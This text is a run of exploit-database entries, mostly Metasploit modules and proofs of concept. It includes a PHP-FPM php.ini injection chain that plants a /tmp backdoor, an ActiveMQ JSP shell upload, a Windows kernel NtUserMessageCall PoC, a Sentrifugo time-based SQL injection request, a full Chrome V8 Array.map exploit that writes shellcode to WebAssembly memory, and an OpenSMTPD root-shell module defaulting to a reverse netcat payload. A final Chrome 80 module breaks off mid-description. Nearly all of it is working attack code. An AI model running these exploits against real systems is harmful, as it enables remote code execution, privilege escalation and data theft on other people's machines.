        'CustomH' => "x=#{Rex::Text.rand_text_alphanumeric(customh_length)}",
        'Nuut'    => Rex::Text.rand_text_alphanumeric(11)
      }
    }
    actual_timeout = datastore['HttpClientTimeout'] if datastore['HttpClientTimeout']&.> 0
    actual_timeout ||= 20

    connect(opts) if client.nil? || !client.conn?
    # By default, try to reuse an existing connection (persist option).
    res = client.send_recv(client.request_raw(opts), actual_timeout, true)
    if res.nil? && allow_retry
      # The server closed the connection, resend without 'persist', which forces
      # reconnecting. This could happen if the connection is reused too much time.
      # Nginx will automatically close a keepalive connection after 100 requests
      # by default or whatever value is set by the 'keepalive_requests' option.
      res = client.send_recv(client.request_raw(opts), actual_timeout)
    end
    res
  end

  def repeat_operation(op, opts={})
    datastore['OperationMaxRetries'].times do |i|
      vprint_status("#{op}: try ##{i+1}")
      res = opts.empty? ? send(op) : send(op, opts)
      return res if res
    end
    nil
  end

  def extend_qsl_list(qsl_candidates)
    qsl_candidates.each_with_object([]) do |qsl, extended_qsl|
      (0..datastore['MaxQSLDetectDelta']).step(datastore['QSLDetectStep']) do |delta|
        extended_qsl << qsl - delta
      end
    end.sort.uniq
  end

  def sanity_check?
    datastore['OperationMaxRetries'].times do
      res = send_crafted_request(
        path: "/PHP\nSOSAT",
        qsl: datastore['MaxQSL'],
        customh_length: datastore['MaxCustomHeaderLength']
      )
      unless res
        vprint_error("Error during sanity check")
        return false
      end
      if res.code != @base_status
        vprint_error(
          "Invalid status code: #{res.code} (must be #{@base_status}). "\
          "Maybe \".php\" suffix is required?"
        )
        return false
      end
      detect_method = self.class.detect_methods[datastore['DetectMethod']]
      if detect_method.php_option_enabled?(res)
        vprint_error(
          "Detection method '#{datastore['DetectMethod']}' won't work since "\
          "the PHP option has already been set on the target. Try another one"
        )
        return false
      end
    end
    return true
  end

  def set_php_setting(php_setting:, qsl:, customh_length:, cmd: '')
    res = nil
    path = "/PHP_VALUE\n#{php_setting}"
    pos_offset = 34
    if path.length > pos_offset
      vprint_error(
        "The path size (#{path.length} bytes) is larger than the allowed size "\
        "(#{pos_offset} bytes). Choose a shorter php.ini value (current: '#{php_setting}')")
      return nil
    end
    path += ';' * (pos_offset - path.length)
    res = send_crafted_request(
      path: path,
      qsl: qsl,
      customh_length: customh_length,
      cmd: cmd
    )
    unless res
      vprint_error("error while setting #{php_setting} for qsl=#{qsl}, customh_length=#{customh_length}")
    end
    return res
  end

  def send_params_detection(qsl_candidates:, customh_length:, detect_method:)
    php_setting = detect_method.php_option_enable
    vprint_status("Iterating until the PHP option is enabled (#{php_setting})...")
    customh_lengths = customh_length ? [customh_length] : (1..datastore['MaxCustomHeaderLength']).to_a
    qsl_candidates.product(customh_lengths) do |qsl, c_length|
      res = set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length)
      unless res
        vprint_error("Error for qsl=#{qsl}, customh_length=#{c_length}")
        return nil
      end
      if res.code != @base_status
        vprint_status("Status code #{res.code} for qsl=#{qsl}, customh_length=#{c_length}")
      end
      if detect_method.php_option_enabled?(res)
        php_setting = detect_method.php_option_disable
        vprint_status("Attack params found, disabling PHP option (#{php_setting})...")
        set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length)
        return { qsl: qsl, customh_length: c_length }
      end
    end
    return nil
  end

  def detect_params(qsl_candidates)
    customh_length = nil
    if datastore['CustomHeaderLengthHint']
      vprint_status(
        "Using custom header length hint for max length (customh_length="\
        "#{datastore['CustomHeaderLengthHint']})"
      )
      customh_length = datastore['CustomHeaderLengthHint']
    end
    detect_method = self.class.detect_methods[datastore['DetectMethod']]
    return repeat_operation(
      :send_params_detection,
      qsl_candidates: qsl_candidates,
      customh_length: customh_length,
      detect_method: detect_method
    )
  end

  def send_attack_chain
    [
      "short_open_tag=1",
      "html_errors=0",
      "include_path=/tmp",
      "auto_prepend_file=#{@filename}",
      "log_errors=1",
      "error_reporting=2",
      "error_log=/tmp/#{@filename}",
      "extension_dir=\"<?=`\"",
      "extension=\"$_GET[#{@http_param}]`?>\""
    ].each do |php_setting|
      vprint_status("Sending php.ini setting: #{php_setting}")
      res = set_php_setting(
        php_setting: php_setting,
        qsl: @params[:qsl],
        customh_length: @params[:customh_length],
        cmd: "/bin/sh -c '#{CHECK_COMMAND}'"
      )
      if res
        return res if res.body.include?(SUCCESS_PATTERN)
      else
        print_error("Error when setting #{php_setting}")
        return nil
      end
    end
    return nil
  end

  def send_payload
    disconnect(client) if client&.conn?
    send_crafted_request(
      path: '/',
      qsl: @params[:qsl],
      customh_length: @params[:customh_length],
      cmd: payload.encoded,
      allow_retry: false
    )
    Rex.sleep(1)
    return session_created? ? true : nil
  end

  def send_backdoor_cleanup
    cleanup_command = ";echo '<?php echo `$_GET[#{@http_param}]`;return;?>'>/tmp/#{@filename}"
    res = send_crafted_request(
      path: '/',
      qsl: @params[:qsl],
      customh_length: @params[:customh_length],
      cmd: cleanup_command + ';' + CHECK_COMMAND
    )
    return res if res&.body.include?(SUCCESS_PATTERN)
    return nil
  end

  def detect_qsl
    qsl_candidates = []
    (datastore['MinQSL']..datastore['MaxQSL']).step(datastore['QSLDetectStep']) do |qsl|
      res = send_crafted_request(path: "/PHP\nabcdefghijklmopqrstuv.php", qsl: qsl)
      unless res
        vprint_error("Error when sending query with QSL=#{qsl}")
        next
      end
      if res.code != @base_status
        vprint_status("Status code #{res.code} for qsl=#{qsl}, adding as a candidate")
        qsl_candidates << qsl
      end
    end
    qsl_candidates
  end

  def check
    print_status("Sending baseline query...")
    res = send_crafted_request(path: "/path\ninfo.php")
    return CheckCode::Unknown("Error when sending baseline query") unless res
    @base_status = res.code
    vprint_status("Base status code is #{@base_status}")

    if datastore['QSLHint']
      print_status("Skipping qsl detection, using hint (qsl=#{datastore['QSLHint']})")
      qsl_candidates = [datastore['QSLHint']]
    else
      print_status("Detecting QSL...")
      qsl_candidates = detect_qsl
    end
    if qsl_candidates.empty?
      return CheckCode::Detected("No qsl candidates found, not vulnerable or something went wrong")
    end
    if qsl_candidates.size > datastore['MaxQSLCandidates']
      return CheckCode::Detected("Too many qsl candidates found, looks like I got banned")
    end

    print_good("The target is probably vulnerable. Possible QSLs: #{qsl_candidates}")

    qsl_candidates = extend_qsl_list(qsl_candidates)
    vprint_status("Extended QSL list: #{qsl_candidates}")

    print_status("Doing sanity check...")
    return CheckCode::Detected('Sanity check failed') unless sanity_check?

    print_status("Detecting attack parameters...")
    @params = detect_params(qsl_candidates)
    return CheckCode::Detected('Unable to detect parameters') unless @params

    print_good("Parameters found: QSL=#{@params[:qsl]}, customh_length=#{@params[:customh_length]}")
    print_good("Target is vulnerable!")
    CheckCode::Vulnerable
  ensure
    disconnect(client) if client&.conn?
  end

  def exploit
    unless check == CheckCode::Vulnerable
      fail_with Failure::NotVulnerable, 'Target is not vulnerable.'
    end
    if @params[:qsl].nil? || @params[:customh_length].nil?
      fail_with Failure::NotVulnerable, 'Attack parameters not found'
    end

    print_status("Performing attack using php.ini settings...")
    if repeat_operation(:send_attack_chain)
      print_good("Success! Was able to execute a command by appending '#{CHECK_COMMAND}'")
    else
      fail_with Failure::Unknown, 'Failed to send the attack chain'
    end

    print_status("Trying to cleanup /tmp/#{@filename}...")
    if repeat_operation(:send_backdoor_cleanup)
      print_good('Cleanup done!')
    end

    print_status("Sending payload...")
    repeat_operation(:send_payload)
  end

  def send_cleanup(cleanup_cmd:)
    res = send_crafted_request(
      path: '/',
      qsl: @params[:qsl],
      customh_length: @params[:customh_length],
      cmd: cleanup_cmd
    )
    return res if res && res.code != @base_status
    return nil
  end

  def cleanup
    return unless successful
    kill_workers = 'for p in `pidof php-fpm`; do kill -9 $p;done'
    rm = "rm -f /tmp/#{@filename}"
    cleanup_cmd = kill_workers + ';' + rm
    disconnect(client) if client&.conn?
    print_status("Remove /tmp/#{@filename} and kill workers...")
    if repeat_operation(:send_cleanup, cleanup_cmd: cleanup_cmd)
      print_good("Done!")
    else
      print_bad(
        "Could not cleanup. Run these commands before terminating the session: "\
        "#{kill_workers}; #{rm}"
      )
    end
  end
end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload',
      'Description'    => %q{
        This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache
        ActiveMQ 5.x before 5.11.2 for Windows.

        The module tries to upload a JSP payload to the /admin directory via the traversal
        path /fileserver/..\\admin\\ using an HTTP PUT request with the default ActiveMQ
        credentials admin:admin (or other credentials provided by the user). It then issues
        an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the
        payload and obtain a shell.
      },
      'Author'          =>
        [
          'David Jorm',     # Discovery and exploit
          'Erik Wynter'     # @wyntererik - Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2015-1830' ],
          [ 'EDB', '40857'],
          [ 'URL', 'https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt' ]
        ],
      'Privileged'     => false,
      'Platform'    => %w{ win },
      'Targets'     =>
        [
          [ 'Windows Java',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'win'
            }
          ],
        ],
      'DisclosureDate' => '2015-08-19',
      'License'        => MSF_LICENSE,
      'DefaultOptions'  => {
        'RPORT' => 8161,
        'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
        },
      'DefaultTarget'  => 0))

    register_options([
      OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
      OptString.new('PATH',      [true, 'Traversal path', '/fileserver/..\\admin\\']),
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin'])
    ])
  end

  def check
    print_status("Running check...")
    testfile = Rex::Text::rand_text_alpha(10)
    testcontent = Rex::Text::rand_text_alpha(10)

    send_request_cgi({
      'uri'       => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"),
      'headers'     => {
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
        },
      'method'    => 'PUT',
      'data'      => "<% out.println(\"#{testcontent}\");%>"
    })

    res1 = send_request_cgi({
      'uri'       => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"),
      'headers'     => {
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
        },
      'method'    => 'GET'
    })

    if res1 && res1.body.include?(testcontent)
      send_request_cgi(
        opts = {
          'uri'       => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"),
          'headers'     => {
            'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
            },
          'method'    => 'DELETE'
        },
        timeout = 1
      )
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    print_status("Uploading payload...")
    testfile = Rex::Text::rand_text_alpha(10)
    vprint_status("If upload succeeds, payload will be available at #{target_uri.path}admin/#{testfile}.jsp") #This information is provided to allow for manual execution of the payload in case the upload is successful but the GET request issued by the module fails.

    send_request_cgi({
      'uri'       => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"),
      'headers'     => {
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
        },
      'method'    => 'PUT',
      'data'      => payload.encoded
    })

    print_status("Payload sent. Attempting to execute the payload.")
    res = send_request_cgi({
      'uri'       => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"),
      'headers'     => {
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
      },
      'method'    => 'GET'
    })
    if res && res.code == 200
      print_good("Payload executed!")
    else
      fail_with(Failure::PayloadFailed, "Failed to execute the payload")
    end
  end
end
            
#include <cstdio>
#include <windows.h>

extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);

int main() {    
    HINSTANCE hInstance = GetModuleHandle(NULL);

    WNDCLASSEX wcx;
    ZeroMemory(&wcx, sizeof(wcx));
    wcx.hInstance = hInstance;
    wcx.cbSize = sizeof(wcx);
    wcx.lpszClassName = L"SploitWnd";
    wcx.lpfnWndProc = DefWindowProc;
    wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0
   
    printf("[*] Registering window\n");
    ATOM wndAtom = RegisterClassEx(&wcx);
    if (wndAtom == INVALID_ATOM) {
        printf("[-] Failed registering SploitWnd window class\n");
        exit(-1);
    }

    printf("[*] Creating instance of this window\n");
    HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
    if (sploitWnd == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create SploitWnd window\n");
        exit(-1);
    }

    printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
    NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);

    printf("[*] Allocate memory to be used for corruption\n");
    PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    printf("\tptr: %p\n", mem);
    PBYTE byteView = (PBYTE)mem;
    byteView[0x6c] = 1;             // use GetKeyState in xxxPaintSwitchWindow

    //pass DrawSwitchWndHilite double dereference
    PVOID* ulongView = (PVOID*)mem;
    ulongView[0x20 / sizeof(PVOID)] = mem;

    printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
    SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
    printf("[*] GetLastError = %x\n", GetLastError());

    printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
    HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

    printf("[*] Simulating alt key press\n");
    BYTE keyState[256];
    GetKeyboardState(keyState);
    keyState[VK_MENU] |= 0x80;
    SetKeyboardState(keyState);

    printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
    NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}
            
# Exploit Title: Sentrifugo HRMS 3.2 - 'id' SQL Injection
# Exploit Author: minhnb
# Website: 
# Date: 2020-03-06
# Google Dork: N/A
# Vendor: http://www.sapplica.com
# Software Link: http://www.sentrifugo.com/download
# Affected Version: 3.2 and possibly before
# Patched Version: unpatched
# Category: Web Application
# Platform: PHP
# Tested on: Win10x64 & Kali Linux
# CVE: N/A
 
# 1. Technical Description:
# Sentrifugo HRMS version 3.2 and possibly before are affected by Blind SQL Injection in deptid
# parameter through POST request in "/sentrifugo/index.php/holidaygroups/add" resource.
# This allows a user of the application without permissions to read sensitive information from
# the database used by the application.
  
# 2. Proof Of Concept (PoC):

POST /sentrifugo/index.php/holidaygroups/add HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://localhost/sentrifugo/index.php
Connection: keep-alive
Cookie: PHPSESSID=j4a2o4mq6frhfltq2a0h2spknh
Accept: */*
Accept-Encoding: gzip,deflate
Content-Length: 98
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36

Cancel=1&description=555&groupname=e&id=0'XOR(if(now()=sysdate()%2Csleep(9)%2C0))XOR'Z&submit=Save


# 3. Payload:

Parameter: id (POST)
    Type: time-based blind
    Title: MySQL >= 5.0 time-based blind - Parameter replace
    Payload: Cancel=1&description=555&groupname=e&id=0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z&submit=Save

# 4. Reference:
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Google Chrome 72 and 73 Array.map exploit',
      'Description'    => %q{
        This module exploits an issue in Chrome 73.0.3683.86 (64 bit).
      The exploit corrupts the length of a float in order to modify the backing store
      of a typed array. The typed array can then be used to read and write arbitrary
      memory. The exploit then uses WebAssembly in order to allocate a region of RWX
      memory, which is then replaced with the payload.
        The payload is executed within the sandboxed renderer process, so the browser
      must be run with the --no-sandbox option for the payload to work correctly.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
          'dmxcsnsbh', # discovery
          'István Kurucsai', # exploit
          'timwr', # metasploit module
        ],
      'References'     => [
          ['CVE', '2019-5825'],
          ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=941743'],
          ['URL', 'https://github.com/exodusintel/Chromium-941743'],
          ['URL', 'https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/'],
          ['URL', 'https://lordofpwn.kr/cve-2019-5825-v8-exploit/'],
        ],
      'Arch'           => [ ARCH_X64 ],
      'Platform'       => ['windows','osx'],
      'DefaultTarget'  => 0,
      'Targets'        => [ [ 'Automatic', { } ] ],
      'DisclosureDate' => 'Mar 7 2019'))
    register_advanced_options([
      OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
    ])
  end

  def on_request_uri(cli, request)

    if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
      print_status("[*] #{request.body}")
      send_response(cli, '')
      return
    end

    print_status("Sending #{request.uri} to #{request['User-Agent']}")
    escaped_payload = Rex::Text.to_unescape(payload.encoded)
    jscript = %Q^
// HELPER FUNCTIONS
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
    int_view[0] = this;
    return float_view[0];
}
BigInt.prototype.smi2f = function() {
    int_view[0] = this << 32n;
    return float_view[0];
}
Number.prototype.f2i = function() {
    float_view[0] = this;
    return int_view[0];
}
Number.prototype.f2smi = function() {
    float_view[0] = this;
    return int_view[0] >> 32n;
}
Number.prototype.i2f = function() {
    return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
    return BigInt(this).smi2f();
}

// *******************
// Exploit starts here
// *******************
// This call ensures that TurboFan won't inline array constructors.
Array(2**30);

// we are aiming for the following object layout
// [output of Array.map][packed float array][typed array][Object]
// First the length of the packed float array is corrupted via the original vulnerability,
// then the float array can be used to modify the backing store of the typed array, thus achieving AARW.
// The Object at the end is used to implement addrof

// offset of the length field of the float array from the map output
const float_array_len_offset = 23;
// offset of the length field of the typed array
const tarray_elements_len_offset = 24;
// offset of the address pointer of the typed array
const tarray_elements_addr_offset = tarray_elements_len_offset + 1;
const obj_prop_b_offset = 33;

// Set up a fast holey smi array, and generate optimized code.
let a = [1, 2, ,,, 3];
let cnt = 0;
var tarray;
var float_array;
var obj;

function mapping(a) {
  function cb(elem, idx) {
    if (idx == 0) {
      float_array = [0.1, 0.2];

      tarray = new BigUint64Array(2);
      tarray[0] = 0x41414141n;
      tarray[1] = 0x42424242n;
      obj = {'a': 0x31323334, 'b': 1};
      obj['b'] = obj;
    }

    if (idx > float_array_len_offset) {
      // minimize the corruption for stability
      throw "stop";
    }
    return idx;
  }
  return a.map(cb);
}

function get_rw() {
  for (let i = 0; i < 10 ** 5; i++) {
    mapping(a);
  }

  // Now lengthen the array, but ensure that it points to a non-dictionary
  // backing store.
  a.length = (32 * 1024 * 1024)-1;
  a.fill(1, float_array_len_offset, float_array_len_offset+1);
  a.fill(1, float_array_len_offset+2);

  a.push(2);
  a.length += 500;

  // Now, the non-inlined array constructor should produce an array with
  // dictionary elements: causing a crash.
  cnt = 1;
  try {
    mapping(a);
  } catch(e) {
    // relative RW from the float array from this point on
    let sane = sanity_check()
    print('sanity_check == ', sane);
    print('len+3: ' + float_array[tarray_elements_len_offset+3].f2i().toString(16));
    print('len+4: ' + float_array[tarray_elements_len_offset+4].f2i().toString(16));
    print('len+8: ' + float_array[tarray_elements_len_offset+8].f2i().toString(16));

    let original_elements_ptr = float_array[tarray_elements_len_offset+1].f2i() - 1n;
    print('original elements addr: ' + original_elements_ptr.toString(16));
    print('original elements value: ' + read8(original_elements_ptr).toString(16));
    print('addrof(Object): ' + addrof(Object).toString(16));
  }
}

function sanity_check() {
  success = true;
  success &= float_array[tarray_elements_len_offset+3].f2i() == 0x41414141;
  success &= float_array[tarray_elements_len_offset+4].f2i() == 0x42424242;
  success &= float_array[tarray_elements_len_offset+8].f2i() == 0x3132333400000000;
  return success;
}

function read8(addr) {
  let original = float_array[tarray_elements_len_offset+1];
  float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
  let result = tarray[0];
  float_array[tarray_elements_len_offset+1] = original;
  return result;
}

function write8(addr, val) {
  let original = float_array[tarray_elements_len_offset+1];
  float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
  tarray[0] = val;
  float_array[tarray_elements_len_offset+1] = original;
}

function addrof(o) {
  obj['b'] = o;
  return float_array[obj_prop_b_offset].f2i();
}

var wfunc = null;
var shellcode = unescape("#{escaped_payload}");

function get_wasm_func() {
  var importObject = {
      imports: { imported_func: arg => print(arg) }
  };
  bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
  wasm_code = new Uint8Array(bc);
  wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
  return wasm_mod.exports.exported_func;
}

function rce() {
  let wasm_func = get_wasm_func();
  wfunc = wasm_func;
  // traverse the JSFunction object chain to find the RWX WebAssembly code page
  let wasm_func_addr = addrof(wasm_func) - 1n;
  print('wasm: ' + wasm_func_addr);
  if (wasm_func_addr == 2) {
    print('Failed, retrying...');
    location.reload();
    return;
  }

  let sfi = read8(wasm_func_addr + 12n*2n) - 1n;
  print('sfi: ' + sfi.toString(16));
  let WasmExportedFunctionData = read8(sfi + 4n*2n) - 1n;
  print('WasmExportedFunctionData: ' + WasmExportedFunctionData.toString(16));

  let instance = read8(WasmExportedFunctionData + 8n*2n) - 1n;
  print('instance: ' + instance.toString(16));

  //let rwx_addr = read8(instance + 0x108n);
  let rwx_addr = read8(instance + 0xf8n) + 0n; // Chrome/73.0.3683.86
  //let rwx_addr = read8(instance + 0xe0n) + 18n; // Chrome/69.0.3497.100
  //let rwx_addr = read8(read8(instance - 0xc8n) + 0x53n); // Chrome/68.0.3440.84
  print('rwx: ' + rwx_addr.toString(16));

  // write the shellcode to the RWX page
  if (shellcode.length % 2 != 0) {
    shellcode += "\u9090";
  }

  for (let i = 0; i < shellcode.length; i += 2) {
    write8(rwx_addr + BigInt(i*2), BigInt(shellcode.charCodeAt(i) + shellcode.charCodeAt(i + 1) * 0x10000));
  }

  // invoke the shellcode
  wfunc();
}


function exploit() {
  print("Exploiting...");
  get_rw();
  rce();
}

exploit();
^

    if datastore['DEBUG_EXPLOIT']
      debugjs = %Q^
print = function(arg) {
  var request = new XMLHttpRequest();
  request.open("POST", "/print", false);
  request.send("" + arg);
};
^
      jscript = "#{debugjs}#{jscript}"
    else
      jscript.gsub!(/\/\/.*$/, '') # strip comments
      jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
    end

    html = %Q^
<html>
<head>
<script>
#{jscript}
</script>
</head>
<body>
</body>
</html>
    ^
    send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
  end

end
            
So I’ve been holding onto this neat little gem of a .bsp that has four bytes very close to the end of the file that controls the memory allocator. See above picture. Works on all supported operating systems last I checked (so Linux, Windows, and macOS), even after a few years.

Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/48187.bsp
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local

  # smtpd(8) may crash on a malformed message
  Rank = AverageRanking

  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Expect

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'OpenSMTPD OOB Read Local Privilege Escalation',
      'Description'    => %q{
        This module exploits an out-of-bounds read of an attacker-controlled
        string in OpenSMTPD's MTA implementation to execute a command as the
        root or nobody user, depending on the kind of grammar OpenSMTPD uses.
      },
      'Author'         => [
        'Qualys', # Discovery and PoC
        'wvu'     # Module
      ],
      'References'     => [
        ['CVE', '2020-8794'],
        ['URL', 'https://seclists.org/oss-sec/2020/q1/96']
      ],
      'DisclosureDate' => '2020-02-24',
      'License'        => MSF_LICENSE,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Privileged'     => true, # NOTE: Only when exploiting new grammar
      # Patched in 6.6.4: https://www.opensmtpd.org/security.html
      # New grammar introduced in 6.4.0: https://github.com/openbsd/src/commit/e396a728fd79383b972631720cddc8e987806546
      'Targets'        => [
        ['OpenSMTPD < 6.6.4 (automatic grammar selection)',
          patched_version:     Gem::Version.new('6.6.4'),
          new_grammar_version: Gem::Version.new('6.4.0')
        ]
      ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {
        'SRVPORT'      => 25,
        'PAYLOAD'      => 'cmd/unix/reverse_netcat',
        'WfsDelay'     => 60 # May take a little while for mail to process
      },
      'Notes'          => {
        'Stability'    => [CRASH_SERVICE_DOWN],
        'Reliability'  => [REPEATABLE_SESSION],
        'SideEffects'  => [IOC_IN_LOGS]
      }
    ))

    register_advanced_options([
      OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
    ])

    # HACK: We need to run check in order to determine a grammar to use
    options.remove_option('AutoCheck')
  end

  def srvhost_addr
    Rex::Socket.source_address(session.session_host)
  end

  def rcpt_to
    "#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]"
  end

  def check
    smtpd_help = cmd_exec('smtpd -h')

    if smtpd_help.empty?
      return CheckCode::Unknown('smtpd(8) help could not be displayed')
    end

    version = smtpd_help.scan(/^version: OpenSMTPD ([\d.p]+)$/).flatten.first

    unless version
      return CheckCode::Unknown('OpenSMTPD version could not be found')
    end

    version = Gem::Version.new(version)

    if version < target[:patched_version]
      if version >= target[:new_grammar_version]
        vprint_status("OpenSMTPD #{version} is using new grammar")
        @grammar = :new
      else
        vprint_status("OpenSMTPD #{version} is using old grammar")
        @grammar = :old
      end

      return CheckCode::Appears(
        "OpenSMTPD #{version} appears vulnerable to CVE-2020-8794"
      )
    end

    CheckCode::Safe("OpenSMTPD #{version} is NOT vulnerable to CVE-2020-8794")
  end

  def exploit
    # NOTE: Automatic check is implemented by the AutoCheck mixin
    super

    start_service

    sendmail = "/usr/sbin/sendmail '#{rcpt_to}' < /dev/null && echo true"

    print_status("Executing local sendmail(8) command: #{sendmail}")
    if cmd_exec(sendmail) != 'true'
      fail_with(Failure::Unknown, 'Could not send mail. Is OpenSMTPD running?')
    end
  end

  def on_client_connect(client)
    print_status("Client #{client.peerhost}:#{client.peerport} connected")

    # Brilliant work, Qualys!
    case @grammar
    when :new
      print_status('Exploiting new OpenSMTPD grammar for a root shell')

      yeet = <<~EOF
        553-
        553

        dispatcher: local_mail
        type: mda
        mda-user: root
        mda-exec: #{payload.encoded}; exit 0\x00
      EOF
    when :old
      print_status('Exploiting old OpenSMTPD grammar for a nobody shell')

      yeet = <<~EOF
        553-
        553

        type: mda
        mda-method: mda
        mda-usertable: <getpwnam>
        mda-user: nobody
        mda-buffer: #{payload.encoded}; exit 0\x00
      EOF
    else
      fail_with(Failure::BadConfig, 'Could not determine OpenSMTPD grammar')
    end

    sploit = {
      '220' => /EHLO /,
      '250' => /MAIL FROM:<[^>]/,
      yeet  => nil
    }

    print_status('Faking SMTP server and sending exploit')
    sploit.each do |line, pattern|
      send_expect(
        line,
        pattern,
        sock:    client,
        newline: "\r\n",
        timeout: datastore['ExpectTimeout']
      )
    end
  rescue Timeout::Error => e
    fail_with(Failure::TimeoutExpired, e.message)
  ensure
    print_status("Disconnecting client #{client.peerhost}:#{client.peerport}")
    client.close
  end

  def on_client_close(client)
    print_status("Client #{client.peerhost}:#{client.peerport} disconnected")
  end

end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Post::File
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Google Chrome 80 JSCreate side-effect type confusion exploit',
      'Description'    => %q{
      This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit
      corrupts the length of a float array (float_rel), which can then be used for out
      of bounds read and write on adjacent memory.
      The relative read and write is then used to modify a UInt64Array (uint64_aarw)
      which is used for read and writing from absolute memory.
      The exploit then uses WebAssembly in order to allocate a region of RWX memory,
